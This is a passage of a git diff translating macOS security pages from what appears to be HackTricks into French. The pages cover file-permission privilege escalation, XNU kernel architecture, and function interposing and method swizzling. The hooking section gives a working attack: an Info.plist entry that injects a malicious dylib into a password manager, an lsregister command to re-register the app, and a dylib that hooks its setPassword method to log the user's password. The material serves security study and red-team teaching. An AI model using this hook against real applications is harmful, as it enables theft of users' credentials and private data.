trouve dans un répertoire appartenant à l'utilisateur (l'utilisateur pourrait créer le fichier) +- Le fichier utilisé se trouve dans un répertoire appartenant à root mais l'utilisateur a un accès en écriture grâce à un groupe (l'utilisateur pourrait créer le fichier) -Being able to **create a file** that is going to be **used by root**, allows a user to **take advantage of its content** or even create **symlinks/hardlinks** to point it to another place. +Être capable de **créer un fichier** qui va être **utilisé par root**, permet à un utilisateur de **profiter de son contenu** ou même de créer des **symlinks/hardlinks** pour le pointer vers un autre endroit. -For this kind of vulnerabilities don't forget to **check vulnerable `.pkg` installers**: +Pour ce type de vulnérabilités, n'oubliez pas de **vérifier les installateurs `.pkg` vulnérables** : {{#ref}} macos-files-folders-and-binaries/macos-installers-abuse.md {{#endref}} -### File Extension & URL scheme app handlers +### Gestion des Extensions de Fichier & des URL -Weird apps registered by file extensions could be abused and different applications can be register to open specific protocols +Des applications étranges enregistrées par des extensions de fichier pourraient être abusées et différentes applications peuvent être enregistrées pour ouvrir des protocoles spécifiques {{#ref}} macos-file-extension-apps.md {{#endref}} -## macOS TCC / SIP Privilege Escalation +## Escalade de Privilèges TCC / SIP macOS -In macOS **applications and binaries can have permissions** to access folders or settings that make them more privileged than others. +Dans macOS, les **applications et binaires peuvent avoir des permissions** pour accéder à des dossiers ou des paramètres qui les rendent plus privilégiés que d'autres. -Therefore, an attacker that wants to successfully compromise a macOS machine will need to **escalate its TCC privileges** (or even **bypass SIP**, depending on his needs). +Par conséquent, un attaquant qui souhaite compromettre avec succès une machine macOS devra **escalader ses privilèges TCC** (ou même **contourner SIP**, selon ses besoins). -These privileges are usually given in the form of **entitlements** the application is signed with, or the application might requested some accesses and after the **user approving them** they can be found in the **TCC databases**. Another way a process can obtain these privileges is by being a **child of a process** with those **privileges** as they are usually **inherited**. +Ces privilèges sont généralement accordés sous forme de **droits** avec lesquels l'application est signée, ou l'application peut avoir demandé certains accès et après que **l'utilisateur les ait approuvés**, ils peuvent être trouvés dans les **bases de données TCC**. Une autre façon pour un processus d'obtenir ces privilèges est d'être un **enfant d'un processus** ayant ces **privilèges** car ils sont généralement **hérités**. -Follow these links to find different was to [**escalate privileges in TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), to [**bypass TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) and how in the past [**SIP has been bypassed**](macos-security-protections/macos-sip.md#sip-bypasses). +Suivez ces liens pour trouver différentes façons de [**escalader les privilèges dans TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), pour [**contourner TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) et comment dans le passé [**SIP a été contourné**](macos-security-protections/macos-sip.md#sip-bypasses). -## macOS Traditional Privilege Escalation +## Escalade de Privilèges Traditionnelle macOS -Of course from a red teams perspective you should be also interested in escalating to root. Check the following post for some hints: +Bien sûr, du point de vue des équipes rouges, vous devriez également être intéressé par l'escalade vers root. Consultez le post suivant pour quelques indices : {{#ref}} macos-privilege-escalation.md {{#endref}} -## macOS Compliance +## Conformité macOS - [https://github.com/usnistgov/macos_security](https://github.com/usnistgov/macos_security) -## References +## Références - [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS) - [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) @@ -132,19 +117,4 @@ macos-privilege-escalation.md - [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ) - [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY) -
- -Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! - -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking - -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights - -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md index 306efd482..432815c6f 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md @@ -1,69 +1,69 @@ -# macOS Kernel & System Extensions +# Architecture de macOS {{#include ../../../banners/hacktricks-training.md}} -## XNU Kernel +## Noyau XNU -The **core of macOS is XNU**, which stands for "X is Not Unix". This kernel is fundamentally composed of the **Mach microkerne**l (to be discussed later), **and** elements from Berkeley Software Distribution (**BSD**). XNU also provides a platform for **kernel drivers via a system called the I/O Kit**. The XNU kernel is part of the Darwin open source project, which means **its source code is freely accessible**. +Le **noyau de macOS est XNU**, qui signifie "X is Not Unix". Ce noyau est fondamentalement composé du **micro-noyau Mach** (qui sera discuté plus tard), **et** d'éléments de Berkeley Software Distribution (**BSD**). XNU fournit également une plateforme pour **les pilotes de noyau via un système appelé I/O Kit**. Le noyau XNU fait partie du projet open source Darwin, ce qui signifie que **son code source est librement accessible**. -From a perspective of a security researcher or a Unix developer, **macOS** can feel quite **similar** to a **FreeBSD** system with an elegant GUI and a host of custom applications. Most applications developed for BSD will compile and run on macOS without needing modifications, as the command-line tools familiar to Unix users are all present in macOS. However, because the XNU kernel incorporates Mach, there are some significant differences between a traditional Unix-like system and macOS, and these differences might cause potential issues or provide unique advantages. +Du point de vue d'un chercheur en sécurité ou d'un développeur Unix, **macOS** peut sembler assez **similaire** à un système **FreeBSD** avec une interface graphique élégante et une multitude d'applications personnalisées. La plupart des applications développées pour BSD se compileront et fonctionneront sur macOS sans nécessiter de modifications, car les outils en ligne de commande familiers aux utilisateurs Unix sont tous présents dans macOS. Cependant, parce que le noyau XNU incorpore Mach, il existe des différences significatives entre un système de type Unix traditionnel et macOS, et ces différences pourraient causer des problèmes potentiels ou offrir des avantages uniques. -Open source version of XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/) +Version open source de XNU : [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/) ### Mach -Mach is a **microkernel** designed to be **UNIX-compatible**. One of its key design principles was to **minimize** the amount of **code** running in the **kernel** space and instead allow many typical kernel functions, such as file system, networking, and I/O, to **run as user-level tasks**. +Mach est un **micro-noyau** conçu pour être **compatible UNIX**. Un de ses principes de conception clés était de **minimiser** la quantité de **code** s'exécutant dans l'espace **noyau** et de permettre à de nombreuses fonctions typiques du noyau, telles que le système de fichiers, le réseau et l'I/O, de **s'exécuter en tant que tâches de niveau utilisateur**. -In XNU, Mach is **responsible for many of the critical low-level operations** a kernel typically handles, such as processor scheduling, multitasking, and virtual memory management. +Dans XNU, Mach est **responsable de nombreuses opérations critiques de bas niveau** qu'un noyau gère généralement, telles que la planification des processeurs, le multitâche et la gestion de la mémoire virtuelle. ### BSD -The XNU **kernel** also **incorporates** a significant amount of code derived from the **FreeBSD** project. This code **runs as part of the kernel along with Mach**, in the same address space. However, the FreeBSD code within XNU may differ substantially from the original FreeBSD code because modifications were required to ensure its compatibility with Mach. FreeBSD contributes to many kernel operations including: +Le **noyau** XNU **incorpore** également une quantité significative de code dérivé du projet **FreeBSD**. Ce code **s'exécute comme partie du noyau avec Mach**, dans le même espace d'adresses. Cependant, le code FreeBSD au sein de XNU peut différer considérablement du code FreeBSD original car des modifications étaient nécessaires pour garantir sa compatibilité avec Mach. FreeBSD contribue à de nombreuses opérations du noyau, y compris : -- Process management -- Signal handling -- Basic security mechanisms, including user and group management -- System call infrastructure -- TCP/IP stack and sockets -- Firewall and packet filtering +- Gestion des processus +- Gestion des signaux +- Mécanismes de sécurité de base, y compris la gestion des utilisateurs et des groupes +- Infrastructure d'appels système +- Pile TCP/IP et sockets +- Pare-feu et filtrage de paquets -Understanding the interaction between BSD and Mach can be complex, due to their different conceptual frameworks. For instance, BSD uses processes as its fundamental executing unit, while Mach operates based on threads. This discrepancy is reconciled in XNU by **associating each BSD process with a Mach task** that contains exactly one Mach thread. When BSD's fork() system call is used, the BSD code within the kernel uses Mach functions to create a task and a thread structure. +Comprendre l'interaction entre BSD et Mach peut être complexe, en raison de leurs différents cadres conceptuels. Par exemple, BSD utilise des processus comme son unité d'exécution fondamentale, tandis que Mach fonctionne sur la base de threads. Cette divergence est réconciliée dans XNU en **associant chaque processus BSD à une tâche Mach** qui contient exactement un thread Mach. Lorsque l'appel système fork() de BSD est utilisé, le code BSD au sein du noyau utilise des fonctions Mach pour créer une tâche et une structure de thread. -Moreover, **Mach and BSD each maintain different security models**: **Mach's** security model is based on **port rights**, whereas BSD's security model operates based on **process ownership**. Disparities between these two models have occasionally resulted in local privilege-escalation vulnerabilities. Apart from typical system calls, there are also **Mach traps that allow user-space programs to interact with the kernel**. These different elements together form the multifaceted, hybrid architecture of the macOS kernel. +De plus, **Mach et BSD maintiennent chacun des modèles de sécurité différents** : le modèle de sécurité de **Mach** est basé sur les **droits de port**, tandis que le modèle de sécurité de BSD fonctionne sur la base de **la propriété des processus**. Les disparités entre ces deux modèles ont parfois entraîné des vulnérabilités d'escalade de privilèges locales. En plus des appels système typiques, il existe également des **traps Mach qui permettent aux programmes en espace utilisateur d'interagir avec le noyau**. Ces différents éléments forment ensemble l'architecture hybride et multifacette du noyau macOS. -### I/O Kit - Drivers +### I/O Kit - Pilotes -The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware. +L'I/O Kit est un cadre de **pilotes de périphériques** open-source et orienté objet dans le noyau XNU, gérant **les pilotes de périphériques chargés dynamiquement**. Il permet d'ajouter du code modulaire au noyau à la volée, prenant en charge un matériel diversifié. {{#ref}} macos-iokit.md {{#endref}} -### IPC - Inter Process Communication +### IPC - Communication Inter-Processus {{#ref}} ../macos-proces-abuse/macos-ipc-inter-process-communication/ {{#endref}} -## macOS Kernel Extensions +## Extensions de Noyau macOS -macOS is **super restrictive to load Kernel Extensions** (.kext) because of the high privileges that code will run with. Actually, by default is virtually impossible (unless a bypass is found). +macOS est **très restrictif pour charger des Extensions de Noyau** (.kext) en raison des privilèges élevés avec lesquels le code s'exécutera. En fait, par défaut, il est pratiquement impossible (à moins qu'un contournement ne soit trouvé). -In the following page you can also see how to recover the `.kext` that macOS loads inside its **kernelcache**: +Sur la page suivante, vous pouvez également voir comment récupérer le `.kext` que macOS charge dans son **kernelcache** : {{#ref}} macos-kernel-extensions.md {{#endref}} -### macOS System Extensions +### Extensions Système macOS -Instead of using Kernel Extensions macOS created the System Extensions, which offers in user level APIs to interact with the kernel. This way, developers can avoid to use kernel extensions. +Au lieu d'utiliser des Extensions de Noyau, macOS a créé les Extensions Système, qui offrent des API de niveau utilisateur pour interagir avec le noyau. De cette manière, les développeurs peuvent éviter d'utiliser des extensions de noyau. {{#ref}} macos-system-extensions.md {{#endref}} -## References +## Références - [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=) - [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md index 424ed20b7..888b9bfb1 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md @@ -2,54 +2,49 @@ {{#include ../../../banners/hacktricks-training.md}} -## Function Interposing +## Interposition de Fonction -Create a **dylib** with an **`__interpose`** section (or a section flagged with **`S_INTERPOSING`**) containing tuples of **function pointers** that refer to the **original** and the **replacement** functions. +Créez un **dylib** avec une section **`__interpose`** (ou une section marquée avec **`S_INTERPOSING`**) contenant des tuples de **pointeurs de fonction** qui se réfèrent aux fonctions **originales** et **de remplacement**. -Then, **inject** the dylib with **`DYLD_INSERT_LIBRARIES`** (the interposing needs occur before the main app loads). Obviously the [**restrictions** applied to the use of **`DYLD_INSERT_LIBRARIES`** applies here also](../macos-proces-abuse/macos-library-injection/#check-restrictions). +Ensuite, **injectez** le dylib avec **`DYLD_INSERT_LIBRARIES`** (l'interposition doit se produire avant le chargement de l'application principale). Évidemment, les [**restrictions** appliquées à l'utilisation de **`DYLD_INSERT_LIBRARIES`** s'appliquent également ici](../macos-proces-abuse/macos-library-injection/#check-restrictions). -### Interpose printf +### Interposer printf {{#tabs}} {{#tab name="interpose.c"}} - ```c:interpose.c // gcc -dynamiclib interpose.c -o interpose.dylib #include #include int my_printf(const char *format, ...) { - //va_list args; - //va_start(args, format); - //int ret = vprintf(format, args); - //va_end(args); +//va_list args; +//va_start(args, format); +//int ret = vprintf(format, args); +//va_end(args); - int ret = printf("Hello from interpose\n"); - return ret; +int ret = printf("Hello from interpose\n"); +return ret; } __attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf __attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf }; ``` - {{#endtab}} {{#tab name="hello.c"}} - ```c //gcc hello.c -o hello #include int main() { - printf("Hello World!\n"); - return 0; +printf("Hello World!\n"); +return 0; } ``` - {{#endtab}} {{#tab name="interpose2.c"}} - ```c // Just another way to define an interpose // gcc -dynamiclib interpose2.c -o interpose2.dylib @@ -57,26 +52,24 @@ int main() { #include #define DYLD_INTERPOSE(_replacement, _replacee) \ - __attribute__((used)) static struct { \ - const void* replacement; \ - const void* replacee; \ - } _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \ - (const void*) (unsigned long) &_replacement, \ - (const void*) (unsigned long) &_replacee \ - }; +__attribute__((used)) static struct { \ +const void* replacement; \ +const void* replacee; \ +} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \ +(const void*) (unsigned long) &_replacement, \ +(const void*) (unsigned long) &_replacee \ +}; int my_printf(const char *format, ...) { - int ret = printf("Hello from interpose\n"); - return ret; +int ret = printf("Hello from interpose\n"); +return ret; } DYLD_INTERPOSE(my_printf,printf); ``` - {{#endtab}} {{#endtabs}} - ```bash DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello Hello from interpose @@ -84,24 +77,22 @@ Hello from interpose DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello Hello from interpose ``` +## Méthode Swizzling -## Method Swizzling +En ObjectiveC, voici comment une méthode est appelée : **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`** -In ObjectiveC this is how a method is called like: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`** +Il faut l'**objet**, la **méthode** et les **params**. Et lorsqu'une méthode est appelée, un **msg est envoyé** en utilisant la fonction **`objc_msgSend`** : `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);` -It's needed the **object**, the **method** and the **params**. And when a method is called a **msg is sent** using the function **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);` +L'objet est **`someObject`**, la méthode est **`@selector(method1p1:p2:)`** et les arguments sont **value1**, **value2**. -The object is **`someObject`**, the method is **`@selector(method1p1:p2:)`** and the arguments are **value1**, **value2**. - -Following the object structures, it's possible to reach an **array of methods** where the **names** and **pointers** to the method code are **located**. +En suivant les structures d'objet, il est possible d'atteindre un **tableau de méthodes** où les **noms** et les **pointeurs** vers le code de la méthode sont **situés**. > [!CAUTION] -> Note that because methods and classes are accessed based on their names, this information is store in the binary, so it's possible to retrieve it with `otool -ov ` or [`class-dump `](https://github.com/nygard/class-dump) +> Notez qu'en raison du fait que les méthodes et les classes sont accessibles en fonction de leurs noms, ces informations sont stockées dans le binaire, il est donc possible de les récupérer avec `otool -ov ` ou [`class-dump `](https://github.com/nygard/class-dump) -### Accessing the raw methods - -It's possible to access the information of the methods such as name, number of params or address like in the following example: +### Accéder aux méthodes brutes +Il est possible d'accéder aux informations des méthodes telles que le nom, le nombre de params ou l'adresse comme dans l'exemple suivant : ```objectivec // gcc -framework Foundation test.m -o test @@ -110,71 +101,69 @@ It's possible to access the information of the methods such as name, number of p #import int main() { - // Get class of the variable - NSString* str = @"This is an example"; - Class strClass = [str class]; - NSLog(@"str's Class name: %s", class_getName(strClass)); +// Get class of the variable +NSString* str = @"This is an example"; +Class strClass = [str class]; +NSLog(@"str's Class name: %s", class_getName(strClass)); - // Get parent class of a class - Class strSuper = class_getSuperclass(strClass); - NSLog(@"Superclass name: %@",NSStringFromClass(strSuper)); +// Get parent class of a class +Class strSuper = class_getSuperclass(strClass); +NSLog(@"Superclass name: %@",NSStringFromClass(strSuper)); - // Get information about a method - SEL sel = @selector(length); - NSLog(@"Selector name: %@", NSStringFromSelector(sel)); - Method m = class_getInstanceMethod(strClass,sel); - NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m)); - NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m)); +// Get information about a method +SEL sel = @selector(length); +NSLog(@"Selector name: %@", NSStringFromSelector(sel)); +Method m = class_getInstanceMethod(strClass,sel); +NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m)); +NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m)); - // Iterate through the class hierarchy - NSLog(@"Listing methods:"); - Class currentClass = strClass; - while (currentClass != NULL) { - unsigned int inheritedMethodCount = 0; - Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount); +// Iterate through the class hierarchy +NSLog(@"Listing methods:"); +Class currentClass = strClass; +while (currentClass != NULL) { +unsigned int inheritedMethodCount = 0; +Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount); - NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount); +NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount); - for (unsigned int i = 0; i < inheritedMethodCount; i++) { - Method method = inheritedMethods[i]; - SEL selector = method_getName(method); - const char* methodName = sel_getName(selector); - unsigned long address = (unsigned long)method_getImplementation(m); - NSLog(@"Inherited method name: %s (0x%lx)", methodName, address); - } +for (unsigned int i = 0; i < inheritedMethodCount; i++) { +Method method = inheritedMethods[i]; +SEL selector = method_getName(method); +const char* methodName = sel_getName(selector); +unsigned long address = (unsigned long)method_getImplementation(m); +NSLog(@"Inherited method name: %s (0x%lx)", methodName, address); +} - // Free the memory allocated by class_copyMethodList - free(inheritedMethods); - currentClass = class_getSuperclass(currentClass); - } +// Free the memory allocated by class_copyMethodList +free(inheritedMethods); +currentClass = class_getSuperclass(currentClass); +} - // Other ways to call uppercaseString method - if([str respondsToSelector:@selector(uppercaseString)]) { - NSString *uppercaseString = [str performSelector:@selector(uppercaseString)]; - NSLog(@"Uppercase string: %@", uppercaseString); - } +// Other ways to call uppercaseString method +if([str respondsToSelector:@selector(uppercaseString)]) { +NSString *uppercaseString = [str performSelector:@selector(uppercaseString)]; +NSLog(@"Uppercase string: %@", uppercaseString); +} - // Using objc_msgSend directly - NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString)); - NSLog(@"Uppercase string: %@", uppercaseString2); +// Using objc_msgSend directly +NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString)); +NSLog(@"Uppercase string: %@", uppercaseString2); - // Calling the address directly - IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address - NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp - NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method - NSLog(@"Uppercase string: %@", uppercaseString3); +// Calling the address directly +IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address +NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp +NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method +NSLog(@"Uppercase string: %@", uppercaseString3); - return 0; +return 0; } ``` +### Échange de méthodes avec method_exchangeImplementations -### Method Swizzling with method_exchangeImplementations - -The function **`method_exchangeImplementations`** allows to **change** the **address** of the **implementation** of **one function for the other**. +La fonction **`method_exchangeImplementations`** permet de **changer** l'**adresse** de l'**implémentation** d'**une fonction pour l'autre**. > [!CAUTION] -> So when a function is called what is **executed is the other one**. - +> Donc, lorsque une fonction est appelée, ce qui est **exécuté est l'autre**. ```objectivec //gcc -framework Foundation swizzle_str.m -o swizzle_str @@ -192,44 +181,42 @@ The function **`method_exchangeImplementations`** allows to **change** the **add @implementation NSString (SwizzleString) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { - NSLog(@"Custom implementation of substringFromIndex:"); +NSLog(@"Custom implementation of substringFromIndex:"); - // Call the original method - return [self swizzledSubstringFromIndex:from]; +// Call the original method +return [self swizzledSubstringFromIndex:from]; } @end int main(int argc, const char * argv[]) { - // Perform method swizzling - Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:)); - Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:)); - method_exchangeImplementations(originalMethod, swizzledMethod); +// Perform method swizzling +Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:)); +Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:)); +method_exchangeImplementations(originalMethod, swizzledMethod); - // We changed the address of one method for the other - // Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex - // And when swizzledSubstringFromIndex is called, substringFromIndex is really colled +// We changed the address of one method for the other +// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex +// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled - // Example usage - NSString *myString = @"Hello, World!"; - NSString *subString = [myString substringFromIndex:7]; - NSLog(@"Substring: %@", subString); +// Example usage +NSString *myString = @"Hello, World!"; +NSString *subString = [myString substringFromIndex:7]; +NSLog(@"Substring: %@", subString); - return 0; +return 0; } ``` - > [!WARNING] -> In this case if the **implementation code of the legit** method **verifies** the **method** **name** it could **detect** this swizzling and prevent it from running. +> Dans ce cas, si le **code d'implémentation de la méthode légitime** **vérifie** le **nom de la méthode**, il pourrait **détecter** ce swizzling et l'empêcher de s'exécuter. > -> The following technique doesn't have this restriction. +> La technique suivante n'a pas cette restriction. -### Method Swizzling with method_setImplementation +### Swizzling de méthode avec method_setImplementation -The previous format is weird because you are changing the implementation of 2 methods one from the other. Using the function **`method_setImplementation`** you can **change** the **implementation** of a **method for the other one**. - -Just remember to **store the address of the implementation of the original one** if you are going to to call it from the new implementation before overwriting it because later it will be much complicated to locate that address. +Le format précédent est étrange car vous changez l'implémentation de 2 méthodes l'une pour l'autre. En utilisant la fonction **`method_setImplementation`**, vous pouvez **changer** l'**implémentation** d'une **méthode pour l'autre**. +N'oubliez pas de **stocker l'adresse de l'implémentation de l'originale** si vous prévoyez de l'appeler depuis la nouvelle implémentation avant de l'écraser, car il sera beaucoup plus compliqué de localiser cette adresse par la suite. ```objectivec #import #import @@ -246,75 +233,69 @@ static IMP original_substringFromIndex = NULL; @implementation NSString (Swizzlestring) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { - NSLog(@"Custom implementation of substringFromIndex:"); +NSLog(@"Custom implementation of substringFromIndex:"); - // Call the original implementation using objc_msgSendSuper - return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from); +// Call the original implementation using objc_msgSendSuper +return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from); } @end int main(int argc, const char * argv[]) { - @autoreleasepool { - // Get the class of the target method - Class stringClass = [NSString class]; +@autoreleasepool { +// Get the class of the target method +Class stringClass = [NSString class]; - // Get the swizzled and original methods - Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:)); +// Get the swizzled and original methods +Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:)); - // Get the function pointer to the swizzled method's implementation - IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:))); +// Get the function pointer to the swizzled method's implementation +IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:))); - // Swap the implementations - // It return the now overwritten implementation of the original method to store it - original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP); +// Swap the implementations +// It return the now overwritten implementation of the original method to store it +original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP); - // Example usage - NSString *myString = @"Hello, World!"; - NSString *subString = [myString substringFromIndex:7]; - NSLog(@"Substring: %@", subString); +// Example usage +NSString *myString = @"Hello, World!"; +NSString *subString = [myString substringFromIndex:7]; +NSLog(@"Substring: %@", subString); - // Set the original implementation back - method_setImplementation(originalMethod, original_substringFromIndex); +// Set the original implementation back +method_setImplementation(originalMethod, original_substringFromIndex); - return 0; - } +return 0; +} } ``` +## Méthodologie d'attaque par hooking -## Hooking Attack Methodology +Dans cette page, différentes manières de hooker des fonctions ont été discutées. Cependant, elles impliquaient **l'exécution de code à l'intérieur du processus pour attaquer**. -In this page different ways to hook functions were discussed. However, they involved **running code inside the process to attack**. +Pour ce faire, la technique la plus simple à utiliser est d'injecter un [Dyld via des variables d'environnement ou un détournement](../macos-dyld-hijacking-and-dyld_insert_libraries.md). Cependant, je suppose que cela pourrait également être fait via [l'injection de processus Dylib](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port). -In order to do that the easiest technique to use is to inject a [Dyld via environment variables or hijacking](../macos-dyld-hijacking-and-dyld_insert_libraries.md). However, I guess this could also be done via [Dylib process injection](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port). +Cependant, les deux options sont **limitées** aux binaires/processus **non protégés**. Vérifiez chaque technique pour en savoir plus sur les limitations. -However, both options are **limited** to **unprotected** binaries/processes. Check each technique to learn more about the limitations. - -However, a function hooking attack is very specific, an attacker will do this to **steal sensitive information from inside a process** (if not you would just do a process injection attack). And this sensitive information might be located in user downloaded Apps such as MacPass. - -So the attacker vector would be to either find a vulnerability or strip the signature of the application, inject the **`DYLD_INSERT_LIBRARIES`** env variable through the Info.plist of the application adding something like: +Cependant, une attaque par hooking de fonction est très spécifique, un attaquant le fera pour **voler des informations sensibles à l'intérieur d'un processus** (sinon, vous feriez simplement une attaque par injection de processus). Et ces informations sensibles pourraient se trouver dans des applications téléchargées par l'utilisateur telles que MacPass. +Ainsi, le vecteur de l'attaquant serait soit de trouver une vulnérabilité, soit de supprimer la signature de l'application, d'injecter la variable d'environnement **`DYLD_INSERT_LIBRARIES`** à travers le Info.plist de l'application en ajoutant quelque chose comme : ```xml LSEnvironment - DYLD_INSERT_LIBRARIES - /Applications/Application.app/Contents/malicious.dylib +DYLD_INSERT_LIBRARIES +/Applications/Application.app/Contents/malicious.dylib ``` - -and then **re-register** the application: - +et ensuite **réenregistrer** l'application : ```bash /System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app ``` - -Add in that library the hooking code to exfiltrate the information: Passwords, messages... +Ajoutez dans cette bibliothèque le code de hooking pour exfiltrer les informations : mots de passe, messages... > [!CAUTION] -> Note that in newer versions of macOS if you **strip the signature** of the application binary and it was previously executed, macOS **won't be executing the application** anymore. - -#### Library example +> Notez que dans les versions plus récentes de macOS, si vous **supprimez la signature** du binaire de l'application et qu'il a été exécuté précédemment, macOS **n'exécutera plus l'application**. +#### Exemple de bibliothèque ```objectivec // gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib @@ -331,27 +312,26 @@ static IMP real_setPassword = NULL; static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL) { - // Function that will log the password and call the original setPassword(pass, file_path) method - NSLog(@"[+] Password is: %@", password); +// Function that will log the password and call the original setPassword(pass, file_path) method +NSLog(@"[+] Password is: %@", password); - // After logging the password call the original method so nothing breaks. - return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL); +// After logging the password call the original method so nothing breaks. +return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL); } // Library constructor to execute __attribute__((constructor)) static void customConstructor(int argc, const char **argv) { - // Get the real method address to not lose it - Class classMPDocument = NSClassFromString(@"MPDocument"); - Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:)); +// Get the real method address to not lose it +Class classMPDocument = NSClassFromString(@"MPDocument"); +Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:)); - // Make the original method setPassword call the fake implementation one - IMP fake_IMP = (IMP)custom_setPassword; - real_setPassword = method_setImplementation(real_Method, fake_IMP); +// Make the original method setPassword call the fake implementation one +IMP fake_IMP = (IMP)custom_setPassword; +real_setPassword = method_setImplementation(real_Method, fake_IMP); } ``` - -## References +## Références - [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md index 5381cb0d0..51f479abd 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md +++ 